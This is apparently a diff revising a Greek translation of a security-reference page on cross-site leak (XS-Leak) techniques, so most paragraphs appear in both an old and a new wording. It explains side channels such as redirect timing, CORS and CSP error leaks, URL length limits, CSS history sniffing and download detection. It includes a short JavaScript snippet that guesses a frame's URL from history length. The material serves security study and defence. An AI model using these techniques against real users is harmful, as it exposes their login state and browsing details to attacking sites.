- **Summary:** Η είσοδος χρονισμού πόρου διαρρέει τον χρόνο έναρξης μιας ανακατεύθυνσης.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
|
||||
|
||||
Βρήκαμε μια περίπτωση διαρροής XS που εκμεταλλεύεται τη συμπεριφορά ορισμένων περιηγητών που καταγράφουν υπερβολικές πληροφορίες για διασυνοριακά αιτήματα. Το πρότυπο ορίζει ένα υποσύνολο χαρακτηριστικών που πρέπει να οριστούν σε μηδέν για διασυνοριακούς πόρους. Ωστόσο, στο **SA** είναι δυνατόν να ανιχνευθεί αν ο χρήστης **ανακατευθύνεται** από τη στοχευμένη σελίδα, ερωτώντας το **Performance API** και ελέγχοντας τα δεδομένα χρονισμού **redirectStart**.
|
||||
Βρήκαμε μια περίπτωση XS-Leak που εκμεταλλεύεται τη συμπεριφορά ορισμένων περιηγητών που καταγράφουν υπερβολικές πληροφορίες για διασυνοριακά αιτήματα. Το πρότυπο ορίζει ένα υποσύνολο χαρακτηριστικών που πρέπει να οριστούν σε μηδέν για διασυνοριακούς πόρους. Ωστόσο, στο **SA** είναι δυνατόν να ανιχνευθεί αν ο χρήστης **ανακατευθύνεται** από τη στοχευμένη σελίδα, ελέγχοντας το **Performance API** και ελέγχοντας τα δεδομένα χρονισμού **redirectStart**.
|
||||
|
||||
### Duration Redirect Leak
|
||||
|
||||
@ -381,7 +381,7 @@ connection-pool-example.md
|
||||
- **Summary:** Πόρος προστατευμένος με CORP δεν δημιουργεί εισόδους χρονισμού πόρων.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
|
||||
|
||||
Σε ορισμένες περιπτώσεις, η **είσοδος nextHopProtocol** μπορεί να χρησιμοποιηθεί ως τεχνική διαρροής. Στο GC, όταν η **επικεφαλίδα CORP** είναι ρυθμισμένη, το nextHopProtocol θα είναι **κενό**. Σημειώστε ότι το SA δεν θα δημιουργήσει καθόλου μια είσοδο απόδοσης για πόρους που έχουν ενεργοποιηθεί με CORP.
|
||||
Σε ορισμένες περιπτώσεις, η **nextHopProtocol είσοδος** μπορεί να χρησιμοποιηθεί ως τεχνική διαρροής. Στο GC, όταν η **επικεφαλίδα CORP** είναι ρυθμισμένη, η nextHopProtocol θα είναι **κενή**. Σημειώστε ότι το SA δεν θα δημιουργήσει καθόλου μια είσοδο απόδοσης για πόρους που έχουν ενεργοποιηθεί με CORP.
|
||||
|
||||
### Service Worker
|
||||
|
||||
@ -391,8 +391,8 @@ connection-pool-example.md
|
||||
- **Summary:** Ανίχνευση αν ένας service worker είναι καταχωρημένος για μια συγκεκριμένη προέλευση.
|
||||
- **Code Example**:
|
||||
|
||||
Οι service workers είναι σενάρια που εκτελούνται σε ένα προορισμό. Εκτελούνται στο παρασκήνιο μιας ιστοσελίδας και μπορούν να παρεμβαίνουν, να τροποποιούν και να **αποθηκεύουν πόρους** για να δημιουργήσουν διαδικτυακές εφαρμογές εκτός σύνδεσης.\
|
||||
Αν ένας **πόρος που αποθηκεύτηκε** από έναν **service worker** προσπελαστεί μέσω **iframe**, ο πόρος θα **φορτωθεί από την cache του service worker**.\
|
||||
Οι service workers είναι σενάρια που εκτελούνται σε ένα προορισμό. Εκτελούνται στο παρασκήνιο μιας ιστοσελίδας και μπορούν να παρεμβαίνουν, να τροποποιούν και να **κάνουν cache πόρους** για να δημιουργήσουν διαδικτυακές εφαρμογές εκτός σύνδεσης.\
|
||||
Αν ένας **πόρος που έχει αποθηκευτεί** από έναν **service worker** προσπελαστεί μέσω **iframe**, ο πόρος θα **φορτωθεί από την cache του service worker**.\
|
||||
Για να ανιχνεύσετε αν ο πόρος **φορτώθηκε από την cache του service worker**, μπορεί να χρησιμοποιηθεί το **Performance API**.\
|
||||
Αυτό θα μπορούσε επίσης να γίνει με μια επίθεση χρονισμού (ελέγξτε το έγγραφο για περισσότερες πληροφορίες).
|
||||
|
||||
@ -480,7 +480,7 @@ audioElement.onerror = errHandler
|
||||
- **Περίληψη:** Στις Δηλώσεις Ασφαλείας (SA), τα μηνύματα σφάλματος CORS εκθέτουν ακούσια το πλήρες URL των ανακατευθυνόμενων αιτημάτων.
|
||||
- **Παράδειγμα Κώδικα**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
|
||||
|
||||
Αυτή η τεχνική επιτρέπει σε έναν επιτιθέμενο να **εξάγει τον προορισμό μιας ανακατεύθυνσης ιστότοπου διασυνοριακής προέλευσης** εκμεταλλευόμενος το πώς οι περιηγητές που βασίζονται σε Webkit χειρίζονται τα αιτήματα CORS. Συγκεκριμένα, όταν ένα **CORS-enabled request** αποστέλλεται σε έναν στόχο που εκδίδει μια ανακατεύθυνση με βάση την κατάσταση του χρήστη και ο περιηγητής στη συνέχεια απορρίπτει το αίτημα, το **πλήρες URL του στόχου της ανακατεύθυνσης** αποκαλύπτεται μέσα στο μήνυμα σφάλματος. Αυτή η ευπάθεια αποκαλύπτει όχι μόνο το γεγονός της ανακατεύθυνσης αλλά και το σημείο ανακατεύθυνσης και οποιαδήποτε **ευαίσθητα παραμέτρους ερωτήματος** μπορεί να περιέχει.
|
||||
Αυτή η τεχνική επιτρέπει σε έναν επιτιθέμενο να **εξάγει τον προορισμό μιας ανακατεύθυνσης ιστότοπου διασυνοριακής προέλευσης** εκμεταλλευόμενος τον τρόπο που οι περιηγητές βασισμένοι σε Webkit χειρίζονται τα αιτήματα CORS. Συγκεκριμένα, όταν ένα **CORS-enabled request** αποστέλλεται σε έναν στόχο που εκδίδει μια ανακατεύθυνση με βάση την κατάσταση του χρήστη και ο περιηγητής στη συνέχεια απορρίπτει το αίτημα, το **πλήρες URL του στόχου της ανακατεύθυνσης** αποκαλύπτεται μέσα στο μήνυμα σφάλματος. Αυτή η ευπάθεια αποκαλύπτει όχι μόνο το γεγονός της ανακατεύθυνσης αλλά και το σημείο τερματισμού της ανακατεύθυνσης και οποιαδήποτε **ευαίσθητα παραμέτρους ερωτήματος** μπορεί να περιέχει.
|
||||
|
||||
### SRI Error
|
||||
|
||||
@ -501,7 +501,7 @@ audioElement.onerror = errHandler
|
||||
- **Παράδειγμα Κώδικα**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
|
||||
|
||||
Ένα XS-Leak μπορεί να χρησιμοποιήσει το CSP για να ανιχνεύσει αν ένας ιστότοπος διασυνοριακής προέλευσης ανακατευθύνθηκε σε διαφορετική προέλευση. Αυτή η διαρροή μπορεί να ανιχνεύσει την ανακατεύθυνση, αλλά επιπλέον, ο τομέας του στόχου της ανακατεύθυνσης διαρρέει. Η βασική ιδέα αυτής της επίθεσης είναι να **επιτρέψει τον τομέα στόχο στον ιστότοπο του επιτιθέμενου**. Μόλις εκδοθεί ένα αίτημα στον τομέα στόχο, αυτός **ανακατευθύνει** σε έναν διασυνοριακό τομέα. **Το CSP μπλοκάρει** την πρόσβαση σε αυτό και δημιουργεί μια **αναφορά παράβασης που χρησιμοποιείται ως τεχνική διαρροής**. Ανάλογα με τον περιηγητή, **αυτή η αναφορά μπορεί να διαρρεύσει την τοποθεσία στόχου της ανακατεύθυνσης**.\
|
||||
Οι σύγχρονοι περιηγητές δεν θα υποδείξουν το URL στο οποίο ανακατευθύνθηκε, αλλά μπορείτε ακόμα να ανιχνεύσετε ότι μια διασυνοριακή ανακατεύθυνση προκλήθηκε.
|
||||
Οι σύγχρονοι περιηγητές δεν θα υποδείξουν το URL στο οποίο ανακατευθύνθηκε, αλλά μπορείτε ακόμα να ανιχνεύσετε ότι μια ανακατεύθυνση διασυνοριακής προέλευσης προκλήθηκε.
|
||||
|
||||
### Cache
|
||||
|
||||
@ -586,7 +586,7 @@ audioElement.onerror = errHandler
|
||||
- **Περίληψη:** Ανιχνεύστε διαφορές στις αποκρίσεις επειδή το μήκος της απόκρισης ανακατεύθυνσης μπορεί να είναι πολύ μεγάλο ώστε ο διακομιστής να απαντήσει με σφάλμα και να δημιουργηθεί μια ειδοποίηση.
|
||||
- **Παράδειγμα Κώδικα**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
|
||||
|
||||
Αν μια ανακατεύθυνση από τον διακομιστή χρησιμοποιεί **είσοδο χρήστη μέσα στην ανακατεύθυνση** και **επιπλέον δεδομένα**. Είναι δυνατόν να ανιχνευθεί αυτή η συμπεριφορά επειδή συνήθως οι **διακομιστές** έχουν ένα **όριο μήκους αιτήματος**. Αν τα **δεδομένα χρήστη** είναι **αυτό το μήκος - 1**, επειδή η **ανακατεύθυνση** χρησιμοποιεί **αυτά τα δεδομένα** και **προσθέτει** κάτι **επιπλέον**, θα προκαλέσει ένα **σφάλμα ανιχνεύσιμο μέσω των Σφαλμάτων**.
|
||||
Αν μια ανακατεύθυνση από τον διακομιστή χρησιμοποιεί **είσοδο χρήστη μέσα στην ανακατεύθυνση** και **επιπλέον δεδομένα**. Είναι δυνατόν να ανιχνευθεί αυτή η συμπεριφορά επειδή συνήθως οι **διακομιστές** έχουν ένα **όριο μήκους αιτήματος**. Αν τα **δεδομένα χρήστη** είναι **αυτό το μήκος - 1**, επειδή η **ανακατεύθυνση** χρησιμοποιεί **αυτά τα δεδομένα** και **προσθέτει** κάτι **επιπλέον**, θα προκαλέσει ένα **σφάλμα που μπορεί να ανιχνευθεί μέσω των Σφαλμάτων**.
|
||||
|
||||
Αν μπορείτε με κάποιο τρόπο να ορίσετε cookies σε έναν χρήστη, μπορείτε επίσης να εκτελέσετε αυτή την επίθεση **ορίζοντας αρκετά cookies** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)) έτσι ώστε με το **αυξημένο μέγεθος απόκρισης** της **σωστής απόκρισης** να προκληθεί ένα **σφάλμα**. Σε αυτή την περίπτωση, θυμηθείτε ότι αν προκαλέσετε αυτή την αίτηση από τον ίδιο ιστότοπο, το `<script>` θα στείλει αυτόματα τα cookies (έτσι μπορείτε να ελέγξετε για σφάλματα).\
|
||||
Ένα παράδειγμα του **cookie bomb + XS-Search** μπορεί να βρεθεί στη Σκοπούμενη λύση αυτής της αναφοράς: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
||||
@ -598,18 +598,18 @@ audioElement.onerror = errHandler
|
||||
- **Μέθοδοι Συμπερίληψης**: Pop-ups
|
||||
- **Ανιχνεύσιμη Διαφορά**: Status Code / Περιεχόμενο
|
||||
- **Περισσότερες πληροφορίες**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
- **Περίληψη:** Ανιχνεύστε διαφορές στις αποκρίσεις επειδή το μήκος της απόκρισης ανακατεύθυνσης μπορεί να είναι πολύ μεγάλο για ένα αίτημα ώστε να παρατηρηθεί μια διαφορά.
|
||||
- **Περίληψη:** Ανιχνεύστε διαφορές στις αποκρίσεις επειδή το μήκος της απόκρισης ανακατεύθυνσης μπορεί να είναι πολύ μεγάλο για ένα αίτημα ώστε να μπορεί να παρατηρηθεί μια διαφορά.
|
||||
- **Παράδειγμα Κώδικα**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
|
||||
Σύμφωνα με [την τεκμηρίωση του Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), το μέγιστο μήκος URL του Chrome είναι 2MB.
|
||||
|
||||
> Γενικά, η _πλατφόρμα ιστού_ δεν έχει όρια στο μήκος των URLs (αν και το 2^31 είναι ένα κοινό όριο). _Ο Chrome_ περιορίζει τα URLs σε μέγιστο μήκος **2MB** για πρακτικούς λόγους και για να αποφευχθούν προβλήματα άρνησης υπηρεσίας στην επικοινωνία μεταξύ διαδικασιών.
|
||||
|
||||
Επομένως, αν η **ανακατευθυνόμενη URL είναι μεγαλύτερη σε μία από τις περιπτώσεις**, είναι δυνατόν να την ανακατευθύνετε με μια **URL μεγαλύτερη από 2MB** για να χτυπήσετε το **όριο μήκους**. Όταν συμβαίνει αυτό, ο Chrome εμφανίζει μια σελίδα **`about:blank#blocked`**.
|
||||
Επομένως, αν η **ανακατευθυνόμενη URL είναι μεγαλύτερη σε μία από τις περιπτώσεις**, είναι δυνατόν να γίνει ανακατεύθυνση με μια **URL μεγαλύτερη από 2MB** για να χτυπήσει το **όριο μήκους**. Όταν συμβαίνει αυτό, ο Chrome εμφανίζει μια σελίδα **`about:blank#blocked`**.
|
||||
|
||||
Η **ανιχνεύσιμη διαφορά** είναι ότι αν η **ανακατεύθυνση** ολοκληρώθηκε, το `window.origin` προκαλεί ένα **σφάλμα** επειδή μια διασυνοριακή προέλευση δεν μπορεί να έχει πρόσβαση σε αυτές τις πληροφορίες. Ωστόσο, αν το **όριο** χτυπηθεί και η φορτωμένη σελίδα ήταν **`about:blank#blocked`**, η **`origin`** του παραθύρου παραμένει αυτή του **γονέα**, η οποία είναι μια **προσβάσιμη πληροφορία.**
|
||||
Η **ανιχνεύσιμη διαφορά** είναι ότι αν η **ανακατεύθυνση** ολοκληρώθηκε, το `window.origin` προκαλεί ένα **σφάλμα** επειδή μια διασυνοριακή προέλευση δεν μπορεί να έχει πρόσβαση σε αυτές τις πληροφορίες. Ωστόσο, αν το **όριο** χτυπηθεί και η φορτωμένη σελίδα ήταν **`about:blank#blocked`**, η **`origin`** του παραθύρου παραμένει αυτή του **γονέα**, η οποία είναι μια **προσβάσιμη πληροφορία**.
|
||||
|
||||
Όλες οι επιπλέον πληροφορίες που χρειάζονται για να φτάσουν τα **2MB** μπορούν να προστεθούν μέσω ενός **hash** στην αρχική URL ώστε να χρησιμοποιηθούν στην ανακατεύθυνση.
|
||||
Όλες οι επιπλέον πληροφορίες που απαιτούνται για να φτάσετε τα **2MB** μπορούν να προστεθούν μέσω ενός **hash** στην αρχική URL ώστε να χρησιμοποιηθούν στην ανακατεύθυνση.
|
||||
|
||||
{{#ref}}
|
||||
url-max-length-client-side.md
|
||||
@ -641,9 +641,9 @@ url-max-length-client-side.md
|
||||
- **Μέθοδοι Συμπερίληψης**: Frames, Pop-ups
|
||||
- **Ανιχνεύσιμη Διαφορά**: Αν η URL είναι η ίδια με αυτή που μαντεύτηκε
|
||||
- **Περίληψη:** Είναι δυνατόν να μαντέψετε αν η τοποθεσία ενός frame/pop-up είναι σε μια συγκεκριμένη URL εκμεταλλευόμενοι το μήκος της ιστορίας.
|
||||
- **Παράδειγμα Κώδικα**: Παρακάτω
|
||||
- **Παράδειγμα Κώδικα**: Κάτω
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει τον κώδικα JavaScript για να **χειριστεί την τοποθεσία του frame/pop-up σε μια μαντεμένη** και **άμεσα** **να την αλλάξει σε `about:blank`**. Αν το μήκος της ιστορίας αυξήθηκε, σημαίνει ότι η URL ήταν σωστή και είχε χρόνο να **αυξηθεί επειδή η URL δεν ανανεώνεται αν είναι η ίδια**. Αν δεν αυξήθηκε, σημαίνει ότι **προσπάθησε να φορτώσει τη μαντεμένη URL** αλλά επειδή **άμεσα μετά** φορτώθηκε **`about:blank`**, το **μήκος της ιστορίας δεν αυξήθηκε ποτέ** κατά τη φόρτωση της μαντεμένης URL.
|
||||
Ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει τον κώδικα JavaScript για να **χειριστεί την τοποθεσία του frame/pop-up σε μια μαντεμένη** και **άμεσα** **να την αλλάξει σε `about:blank`**. Αν το μήκος της ιστορίας αυξήθηκε, σημαίνει ότι η URL ήταν σωστή και είχε χρόνο να **αυξηθεί επειδή η URL δεν ανανεώνεται αν είναι η ίδια**. Αν δεν αυξήθηκε, σημαίνει ότι **προσπάθησε να φορτώσει την μαντεμένη URL** αλλά επειδή **άμεσα μετά** φορτώθηκε **`about:blank`**, το **μήκος της ιστορίας δεν αυξήθηκε ποτέ** κατά τη φόρτωση της μαντεμένης URL.
|
||||
```javascript
|
||||
async function debug(win, url) {
|
||||
win.location = url + "#aaa"
|
||||
@ -682,7 +682,7 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
- **Summary:** Διαβάστε την διαρρεύσουσα τιμή για να διακρίνετε μεταξύ 2 πιθανών καταστάσεων
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
|
||||
|
||||
Η διαρροή πληροφοριών μέσω στοιχείων HTML είναι μια ανησυχία στην ασφάλεια του διαδικτύου, ιδιαίτερα όταν δυναμικά αρχεία πολυμέσων παράγονται με βάση τις πληροφορίες του χρήστη, ή όταν προστίθενται υδατογραφήματα, αλλάζοντας το μέγεθος των πολυμέσων. Αυτό μπορεί να εκμεταλλευτεί από επιτιθέμενους για να διακρίνουν μεταξύ πιθανών καταστάσεων αναλύοντας τις πληροφορίες που εκτίθενται από ορισμένα στοιχεία HTML.
|
||||
Η διαρροή πληροφοριών μέσω HTML στοιχείων είναι μια ανησυχία στην ασφάλεια του διαδικτύου, ιδιαίτερα όταν δυναμικά αρχεία πολυμέσων δημιουργούνται με βάση τις πληροφορίες του χρήστη, ή όταν προστίθενται υδατογραφήματα, αλλάζοντας το μέγεθος των πολυμέσων. Αυτό μπορεί να εκμεταλλευτεί από επιτιθέμενους για να διακρίνουν μεταξύ πιθανών καταστάσεων αναλύοντας τις πληροφορίες που εκτίθενται από ορισμένα HTML στοιχεία.
|
||||
|
||||
### Information Exposed by HTML Elements
|
||||
|
||||
@ -696,11 +696,11 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
|
||||
- **Summary:** Εντοπίστε παραλλαγές στο στυλ της ιστοσελίδας που σχετίζονται με την κατάσταση ή το καθεστώς του χρήστη.
|
||||
- **Summary:** Εντοπίστε τις παραλλαγές στο στυλ της ιστοσελίδας που σχετίζονται με την κατάσταση ή το καθεστώς του χρήστη.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
|
||||
|
||||
Οι διαδικτυακές εφαρμογές μπορεί να αλλάξουν το **στυλ της ιστοσελίδας ανάλογα με την κατάσταση του χρήστη**. Τα CSS αρχεία διασυνοριακής προέλευσης μπορούν να ενσωματωθούν στη σελίδα του επιτιθέμενου με το **HTML link element**, και οι **κανόνες** θα **εφαρμοστούν** στη σελίδα του επιτιθέμενου. Αν μια σελίδα αλλάζει δυναμικά αυτούς τους κανόνες, ένας επιτιθέμενος μπορεί να **ανιχνεύσει** αυτές τις **διαφορές** ανάλογα με την κατάσταση του χρήστη.\
|
||||
Ως τεχνική διαρροής, ο επιτιθέμενος μπορεί να χρησιμοποιήσει τη μέθοδο `window.getComputedStyle` για να **διαβάσει τις CSS** ιδιότητες ενός συγκεκριμένου στοιχείου HTML. Ως αποτέλεσμα, ένας επιτιθέμενος μπορεί να διαβάσει αυθαίρετες CSS ιδιότητες αν είναι γνωστό το επηρεαζόμενο στοιχείο και το όνομα της ιδιότητας.
|
||||
Ως τεχνική διαρροής, ο επιτιθέμενος μπορεί να χρησιμοποιήσει τη μέθοδο `window.getComputedStyle` για να **διαβάσει τις CSS** ιδιότητες ενός συγκεκριμένου HTML στοιχείου. Ως αποτέλεσμα, ένας επιτιθέμενος μπορεί να διαβάσει αυθαίρετες CSS ιδιότητες αν είναι γνωστό το επηρεαζόμενο στοιχείο και το όνομα της ιδιότητας.
|
||||
|
||||
### CSS History
|
||||
|
||||
@ -715,7 +715,7 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
|
||||
Ο CSS `:visited` επιλεγέας χρησιμοποιείται για να στυλιζάρει τις διευθύνσεις URL διαφορετικά αν έχουν επισκεφθεί προηγουμένως από τον χρήστη. Στο παρελθόν, η μέθοδος `getComputedStyle()` μπορούσε να χρησιμοποιηθεί για να εντοπίσει αυτές τις διαφορές στυλ. Ωστόσο, οι σύγχρονοι περιηγητές έχουν εφαρμόσει μέτρα ασφαλείας για να αποτρέψουν αυτή τη μέθοδο από το να αποκαλύψει την κατάσταση ενός συνδέσμου. Αυτά τα μέτρα περιλαμβάνουν την επιστροφή του υπολογισμένου στυλ σαν να είχε επισκεφθεί ο σύνδεσμος και τον περιορισμό των στυλ που μπορούν να εφαρμοστούν με τον επιλεγέα `:visited`.
|
||||
|
||||
Παρά αυτούς τους περιορισμούς, είναι δυνατόν να διακριθεί η επισκεφθείσα κατάσταση ενός συνδέσμου έμμεσα. Μια τεχνική περιλαμβάνει την εξαπάτηση του χρήστη να αλληλεπιδράσει με μια περιοχή που επηρεάζεται από το CSS, χρησιμοποιώντας ειδικά την ιδιότητα `mix-blend-mode`. Αυτή η ιδιότητα επιτρέπει την ανάμειξη στοιχείων με το φόντο τους, αποκαλύπτοντας ενδεχομένως την επισκεφθείσα κατάσταση με βάση την αλληλεπίδραση του χρήστη.
|
||||
Παρά αυτούς τους περιορισμούς, είναι δυνατόν να διακριθεί η επισκεφθείσα κατάσταση ενός συνδέσμου έμμεσα. Μια τεχνική περιλαμβάνει την εξαπάτηση του χρήστη να αλληλεπιδράσει με μια περιοχή που επηρεάζεται από το CSS, χρησιμοποιώντας ειδικά την ιδιότητα `mix-blend-mode`. Αυτή η ιδιότητα επιτρέπει την ανάμειξη στοιχείων με το φόντο τους, αποκαλύπτοντας πιθανώς την επισκεφθείσα κατάσταση με βάση την αλληλεπίδραση του χρήστη.
|
||||
|
||||
Επιπλέον, η ανίχνευση μπορεί να επιτευχθεί χωρίς αλληλεπίδραση του χρήστη εκμεταλλευόμενη τους χρόνους απόδοσης των συνδέσμων. Δεδομένου ότι οι περιηγητές μπορεί να αποδώσουν τους επισκεφθέντες και μη επισκεφθέντες συνδέσμους διαφορετικά, αυτό μπορεί να εισαγάγει μια μετρήσιμη χρονική διαφορά στην απόδοση. Ένα αποδεικτικό της έννοιας (PoC) αναφέρθηκε σε μια αναφορά σφάλματος του Chromium, που αποδεικνύει αυτή την τεχνική χρησιμοποιώντας πολλαπλούς συνδέσμους για να ενισχύσει τη χρονική διαφορά, καθιστώντας έτσι την επισκεφθείσα κατάσταση ανιχνεύσιμη μέσω ανάλυσης χρόνου.
|
||||
|
||||
@ -733,7 +733,7 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
- **Summary:** Στο Google Chrome, εμφανίζεται μια ειδική σελίδα σφάλματος όταν μια σελίδα αποκλείεται από το να ενσωματωθεί σε μια διασυνοριακή τοποθεσία λόγω περιορισμών X-Frame-Options.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
|
||||
|
||||
Στο Chrome, αν μια σελίδα με την κεφαλίδα `X-Frame-Options` ρυθμισμένη σε "deny" ή "same-origin" ενσωματωθεί ως αντικείμενο, εμφανίζεται μια σελίδα σφάλματος. Ο Chrome επιστρέφει μοναδικά ένα κενό αντικείμενο εγγράφου (αντί για `null`) για την ιδιότητα `contentDocument` αυτού του αντικειμένου, σε αντίθεση με τα iframes ή άλλους περιηγητές. Οι επιτιθέμενοι θα μπορούσαν να εκμεταλλευτούν αυτό ανιχνεύοντας το κενό έγγραφο, αποκαλύπτοντας ενδεχομένως πληροφορίες σχετικά με την κατάσταση του χρήστη, ειδικά αν οι προγραμματιστές ρυθμίζουν ασυνεπώς την κεφαλίδα X-Frame-Options, συχνά παραβλέποντας τις σελίδες σφάλματος. Η επίγνωση και η συνεπής εφαρμογή των κεφαλίδων ασφαλείας είναι κρίσιμη για την αποτροπή τέτοιων διαρροών.
|
||||
Στο Chrome, αν μια σελίδα με την κεφαλίδα `X-Frame-Options` ρυθμισμένη σε "deny" ή "same-origin" ενσωματωθεί ως αντικείμενο, εμφανίζεται μια σελίδα σφάλματος. Ο Chrome επιστρέφει μοναδικά ένα κενό αντικείμενο εγγράφου (αντί για `null`) για την ιδιότητα `contentDocument` αυτού του αντικειμένου, σε αντίθεση με τα iframes ή άλλους περιηγητές. Οι επιτιθέμενοι θα μπορούσαν να εκμεταλλευτούν αυτό ανιχνεύοντας το κενό έγγραφο, αποκαλύπτοντας πιθανώς πληροφορίες σχετικά με την κατάσταση του χρήστη, ειδικά αν οι προγραμματιστές ρυθμίζουν ασυνεπώς την κεφαλίδα X-Frame-Options, συχνά παραβλέποντας τις σελίδες σφάλματος. Η επίγνωση και η συνεπής εφαρμογή των κεφαλίδων ασφαλείας είναι κρίσιμη για την αποτροπή τέτοιων διαρροών.
|
||||
|
||||
### Download Detection
|
||||
|
||||
@ -753,7 +753,7 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
- Φορτώνοντας το περιεχόμενο σε ένα iframe και παρακολουθώντας τα γεγονότα πλοήγησης, είναι δυνατόν να ελέγξετε αν η διάταξη περιεχομένου προκαλεί μια λήψη αρχείου (χωρίς πλοήγηση) ή όχι.
|
||||
3. **Πλοήγηση Λήψης χωρίς Iframes**:
|
||||
- Παρόμοια με την τεχνική iframe, αυτή η μέθοδος περιλαμβάνει τη χρήση του `window.open` αντί για ένα iframe.
|
||||
- Η παρακολούθηση των γεγονότων πλοήγησης στο νεοανοιγμένο παράθυρο μπορεί να αποκαλύψει αν προκλήθηκε λήψη αρχείου (χωρίς πλοήγηση) ή αν το περιεχόμενο εμφανίζεται ενσωματωμένο (συμβαίνει πλοήγηση).
|
||||
- Η παρακολούθηση των γεγονότων πλοήγησης στο νεοανοιγμένο παράθυρο μπορεί να αποκαλύψει αν προκλήθηκε μια λήψη αρχείου (χωρίς πλοήγηση) ή αν το περιεχόμενο εμφανίζεται ενσωματωμένο (πραγματοποιείται πλοήγηση).
|
||||
|
||||
Σε σενάρια όπου μόνο οι συνδεδεμένοι χρήστες μπορούν να προκαλέσουν τέτοιες λήψεις, αυτές οι τεχνικές μπορούν να χρησιμοποιηθούν για να συμπεράνουν έμμεσα την κατάσταση αυθεντικοποίησης του χρήστη με βάση την αντίδραση του περιηγητή στο αίτημα λήψης.
|
||||
|
||||
@ -763,13 +763,13 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
- **Detectable Difference**: Timing
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
|
||||
- **Summary:** Ένας επιτιθέμενος μπορεί να διακρίνει τις λήψεις αρχείων εκμεταλλευόμενος τα iframes; η συνεχής προσβασιμότητα του iframe υποδηλώνει επιτυχημένη λήψη αρχείου.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (από [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (from [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
|
||||
> [!WARNING]
|
||||
> Αυτός είναι ο λόγος που αυτή η τεχνική είναι ενδιαφέρουσα: Το Chrome έχει τώρα **κατανομή cache**, και το κλειδί cache της νεοανοιγμένης σελίδας είναι: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, αλλά αν ανοίξω μια σελίδα ngrok και χρησιμοποιήσω fetch σε αυτήν, το κλειδί cache θα είναι: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, το **κλειδί cache είναι διαφορετικό**, οπότε η cache δεν μπορεί να μοιραστεί. Μπορείτε να βρείτε περισσότερες λεπτομέρειες εδώ: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||||
